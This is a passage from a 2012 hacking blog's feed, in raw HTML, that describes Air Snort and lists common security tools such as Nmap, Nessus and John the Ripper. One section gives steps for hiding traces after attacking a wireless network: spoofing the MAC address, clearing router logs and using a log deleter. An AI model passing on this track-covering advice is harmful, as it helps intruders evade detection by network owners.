&lt;a class="toc-anchor" href="http://www.blogger.com/blogger.g?blogID=4998142750566450089" name="air-snort" style="color: #2266aa;"&gt;&lt;/a&gt;&lt;a class="toc-anchor" href="http://www.blogger.com/blogger.g?blogID=4998142750566450089" name="toc-anchor-1577-8" style="color: #2266aa;"&gt;&lt;/a&gt;&lt;br /&gt;
&lt;h3 style="font-family: 'Trebuchet MS', 'Lucida Grande', Arial, sans-serif; font-size: 1.2em;"&gt;


&lt;a href="http://www.airsnort.shmoo.com/" rel="nofollow" style="color: #2266aa; text-decoration: none;"&gt;Air Snort&lt;/a&gt;&lt;/h3&gt;
&lt;div id="_mcePaste"&gt;
If there is any tool which can be used to test and&amp;nbsp;penetrate&amp;nbsp;any wireless network, we are definitely talking about Air Snort. It can sniff fragments of packets from the wireless channel and&amp;nbsp;can easily arrange them to break the hash key to&amp;nbsp;compromise&amp;nbsp;the network. The only protection from this tool is to change your Authentication key frequently and manage an access list&amp;nbsp;for granting the&amp;nbsp;access&amp;nbsp;permission.&lt;/div&gt;
&lt;a class="toc-anchor" href="http://www.blogger.com/blogger.g?blogID=4998142750566450089" name="how-to-clear-log-files-and-cache-after-the-attack" style="color: #2266aa;"&gt;&lt;/a&gt;&lt;a class="toc-anchor" href="http://www.blogger.com/blogger.g?blogID=4998142750566450089" name="toc-anchor-1577-9" style="color: #2266aa;"&gt;&lt;/a&gt;&lt;br /&gt;
&lt;h2 style="font-family: 'Trebuchet MS', 'Lucida Grande', Arial, sans-serif; font-size: 20px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left;"&gt;


How to clear Log files and Cache after the Attack&lt;/h2&gt;
&lt;div id="_mcePaste"&gt;
Wireless hacking tools are easy to download and implement but you might become a victim if a trace back is done. To ensure that you are always protected from ping back do&amp;nbsp;remember to implement these feel safe steps:&lt;/div&gt;
&lt;div id="_mcePaste"&gt;
&lt;ol&gt;
&lt;li&gt;Change You MAC address before you start testing/ exploiting any network.&lt;/li&gt;
&lt;li&gt;Do not use or surf sites which can help identify your where&amp;nbsp;about.&lt;/li&gt;
&lt;li&gt;Do not use Gmail, yahoo or any such sites which requires user-name, password.&lt;/li&gt;
&lt;li&gt;Clear all temporary file and cookies after you are done testing/ exploiting wireless networks.&lt;/li&gt;
&lt;li&gt;Clear all logs from the router settings by simply clearing them from the router settings. Different routers have different settings for storing log files. You will have to&amp;nbsp;manually&amp;nbsp;scan&amp;nbsp;all the features to find this thing.&lt;/li&gt;
&lt;li&gt;Use Log deleter to ease your trouble.&lt;/li&gt;
&lt;li&gt;Follow the rules and regulations defined in your country and stay out of trouble.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style="line-height: 25px; margin-bottom: 5px; padding-bottom: 5px; padding-left: 0px; padding-right: 0px; padding-top: 5px;"&gt;
Some people might find this article as negatively inclined, but in this field of ethics and exploitation you must learn what evil steps are so that you can counterfeit them to build a more secure network. Be curious, be wise.&lt;/div&gt;
&lt;/div&gt;
&lt;div class="addthis_toolbox addthis_default_style " style="padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 10px;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="postmetadata" style="clear: both; color: #888888; font-size: 1.1em;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4998142750566450089-103706661906373282?l=hackforhumanity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackforhumanity.blogspot.com/feeds/103706661906373282/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/wirless-hack.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/103706661906373282?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/103706661906373282?v=2'/><link rel='alternate' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/wirless-hack.html' title='wirless hack'/><author><name>Nandan Singh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-dkQxmZDW1yA/AAAAAAAAAAI/AAAAAAAAASM/IWNB3lY39Co/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;CEIBR3syfip7ImA9WhVSGEk.&quot;'><id>tag:blogger.com,1999:blog-4998142750566450089.post-1186537845622541857</id><published>2012-03-15T13:15:00.003-07:00</published><updated>2012-03-15T13:15:56.596-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2012-03-15T13:15:56.596-07:00</app:edited><title>Security/Hacking Tools and Utilities</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;br /&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
&lt;strong style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;1. Nmap&lt;/strong&gt;&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
I think everyone has heard of this one, recently evolved into the 4.x series.&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
Nmap (”Network Mapper”) is a free open source utility for network exploration or security auditing. It was designed to rapidly scan large networks, although it works fine against single hosts. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. Nmap runs on most types of computers and both console and graphical versions are available. Nmap is free and open source.&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
Can be used by beginners (-sT) or by pros alike (–packet_trace). A very versatile tool, once you fully understand the results.&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
&lt;strong style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;2. Nessus Remote Security Scanner&lt;/strong&gt;&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
Recently went closed source, but is still essentially free. Works with a client-server framework.&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
Nessus is the world’s most popular vulnerability scanner used in over 75,000 organizations world-wide. Many of the world’s largest organizations are realizing significant cost savings by using Nessus to audit business-critical enterprise devices and applications.&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
&lt;a href="http://www.nessus.org/download/" style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: inherit; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Get Nessus Here&lt;/a&gt;&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
&lt;strong style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;3. John the Ripper&lt;/strong&gt;&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
John the Ripper is a fast password cracker, currently available for many flavors of Unix (11 are officially supported, not counting different architectures), DOS, Win32, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. Besides several crypt(3) password hash types most commonly found on various Unix flavors, supported out of the box are Kerberos AFS and Windows NT/2000/XP/2003 LM hashes, plus several more with contributed patches.&lt;br /&gt;&lt;a href="http://www.openwall.com/john/" style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: inherit; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;You can get JTR Here&lt;/a&gt;&lt;br /&gt;&lt;span id="more-143" style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;strong style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;4. Nikto&lt;/strong&gt;&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 3200 potentially dangerous files/CGIs, versions on over 625 servers, and version specific problems on over 230 servers. Scan items and plugins are frequently updated and can be automatically updated (if desired).&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
Nikto is a good CGI scanner, there are some other tools that go well with Nikto (focus on http fingerprinting or Google hacking/info gathering etc, another article for just those).&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
&lt;a href="http://www.cirt.net/code/nikto.shtml" style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: inherit; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Get Nikto Here&lt;/a&gt;&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
&lt;strong style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;5. SuperScan&lt;/strong&gt;&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
Powerful TCP port scanner, pinger, resolver. SuperScan 4 is an update of the highly popular Windows port scanning tool, SuperScan.&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
If you need an alternative for nmap on Windows with a decent interface, I suggest you check this out, it’s pretty nice.&lt;br /&gt;&lt;a href="http://www.snapfiles.com/get/superscan.html" style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: inherit; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;Get SuperScan Here&lt;/a&gt;&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
&lt;strong style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;6. p0f&lt;/strong&gt;&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
P0f v2 is a versatile passive OS fingerprinting tool. P0f can identify the operating system on:&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
- machines that connect to your box (SYN mode),&lt;br /&gt;- machines you connect to (SYN+ACK mode),&lt;br /&gt;- machine you cannot connect to (RST+ mode),&lt;br /&gt;- machines whose communications you can observe.&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
Basically it can fingerprint anything, just by listening, it doesn’t make ANY active connections to the target machine.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
&lt;strong style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;7. Wireshark (Formely Ethereal)&lt;/strong&gt;&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
Wireshark is a GTK+-based network protocol analyzer, or sniffer, that lets you capture and interactively browse the contents of network frames. The goal of the project is to create a commercial-quality analyzer for Unix and to give Wireshark features that are missing from closed-source sniffers.&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
Works great on both Linux and Windows (with a GUI), easy to use and can reconstruct TCP/IP Streams! Will do a tutorial on Wireshark later.&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
&lt;br /&gt;&lt;strong style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;8. Yersinia&lt;/strong&gt;&lt;/div&gt;
&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; line-height: 27px; margin-bottom: 1.7em; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;
Yersinia is a network tool designed to take advantage of some weakeness in different Layer 2 protocols. It pretends to be a solid framework for analyzing and testing the deployed networks and systems. Currently, the following network protocols are implemented: Spanning Tree Protocol (STP), Cisco Discovery Protocol (CDP), Dynamic Trunking Protocol (DTP), Dynamic Host Configuration Protocol (DHCP), Hot Standby Router Protocol (HSRP), IEEE 802.1q, Inter-Switch Link Protocol (ISL), VLAN Trunking Protocol (VTP).&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4998142750566450089-1186537845622541857?l=hackforhumanity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackforhumanity.blogspot.com/feeds/1186537845622541857/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/securityhacking-tools-and-utilities.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/1186537845622541857?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/1186537845622541857?v=2'/><link rel='alternate' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/securityhacking-tools-and-utilities.html' title='Security/Hacking Tools and Utilities'/><author><name>Nandan Singh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-dkQxmZDW1yA/AAAAAAAAAAI/AAAAAAAAASM/IWNB3lY39Co/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;CEMAQ3o7fip7ImA9WhVSGEk.&quot;'><id>tag:blogger.com,1999:blog-4998142750566450089.post-3196691222593819031</id><published>2012-03-15T13:14:00.000-07:00</published><updated>2012-03-15T13:14:02.406-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2012-03-15T13:14:02.406-07:00</app:edited><title>New Tools In The Top list</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;br /&gt;
&lt;h3 style="background-color: white; color: #333333; font-family: verdana; font-size: 12px; line-height: 18px; margin-bottom: 1.5em; margin-left: 0px; margin-right: 0px; margin-top: 1.5em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;
&lt;ul style="font-weight: normal; margin-bottom: 1.5em; margin-left: 0px; margin-right: 0px; margin-top: 1.5em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; position: relative; text-decoration: inherit; z-index: 0;"&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;Metasploit Framework&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;Paros Proxy&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;Aircrack&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;Sysinternals&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;Scapy&lt;/li&gt;
